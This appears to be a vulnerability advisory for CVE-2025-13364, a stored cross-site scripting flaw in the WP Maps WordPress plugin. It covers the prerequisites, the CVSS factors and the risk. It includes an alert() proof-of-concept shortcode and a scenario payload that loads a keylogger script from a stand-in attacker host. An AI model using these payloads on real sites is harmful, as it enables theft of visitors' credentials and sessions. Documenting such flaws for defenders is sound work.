Wp Maps Store Locator Google Maps Openstreetmap Mapbox Listing Directory Filters CVE-2025-13364

Exploitation requires an authenticated WordPress account with contributor-level access or above (PR:L in CVSS vector). Attackers must have the ability to edit or create pages/posts and use the 'put_wpgm' shortcode. The vulnerability is NOT limited to default configurations - any WordPress site with the WP Maps plugin installed version 4.8.7 or earlier is vulnerable if any contributor or higher-privileged user account exists. The shortcode handler itself must be invoked (i.e., the page containing the malicious shortcode must be accessed), but this occurs automatically when the page is viewed, meaning no special user interaction or privileged configuration is needed to trigger the stored payload once it is planted. The vulnerability does NOT require the victim to click a link, disable security features, or interact with the malicious content; the JavaScript executes unconditionally when the page loads. Limiting factors: (1) Requires valid WordPress contributor account or compromised account at that privilege level, (2) Requires ability to publish or edit page/post content, (3) Only affects installations with the WP Maps plugin active version 4.8.7 or earlier.

This vulnerability presents moderate-to-high real-world risk despite a CVSS score of 6.4 (medium). Key risk signals: (1) Stored XSS is more dangerous than reflected XSS because the malicious payload persists in the database and fires for all visitors without requiring a phishing link, (2) Authentication is required (PR:L) but contributor-level access is commonly granted to multiple WordPress users, increasing the threat surface, (3) CVSS scope change (S:C) indicates impact extends beyond the attacker's privileges - all site visitors are vulnerable, (4) No special complexity (AC:L) means exploitation is trivial once a contributor account is compromised or misused, (5) Patch exists (version 4.8.8), reducing complexity for defenders but many WordPress installations lag in plugin updates. The CVSS score of 6.4 underrepresents real-world severity because it reflects the authentication requirement; however, in environments with multiple contributors or where contributor accounts are compromised, this becomes a critical integrity and confidentiality risk. Attack conditions are minimal: an attacker simply embeds a script in the shortcode attribute (e.g., [put_wpgm attr='<img src=x onerror=alert()>']), saves the page, and the payload fires for all visitors. No user interaction (UI:N) is required on the victim side.

A disgruntled contributor with WordPress contributor-level access uses the WP Maps shortcode to inject a keylogger or credential-harvesting script into a high-traffic page (e.g., [put_wpgm name='<script src="https://attacker.com/keylog.js"></script>']). Because the plugin fails to sanitize the 'name' attribute, the injected JavaScript is stored in the database and executed whenever any site visitor loads that page. Over time, the attacker captures credentials, session tokens, or sensitive information from thousands of site visitors without requiring any user interaction or social engineering.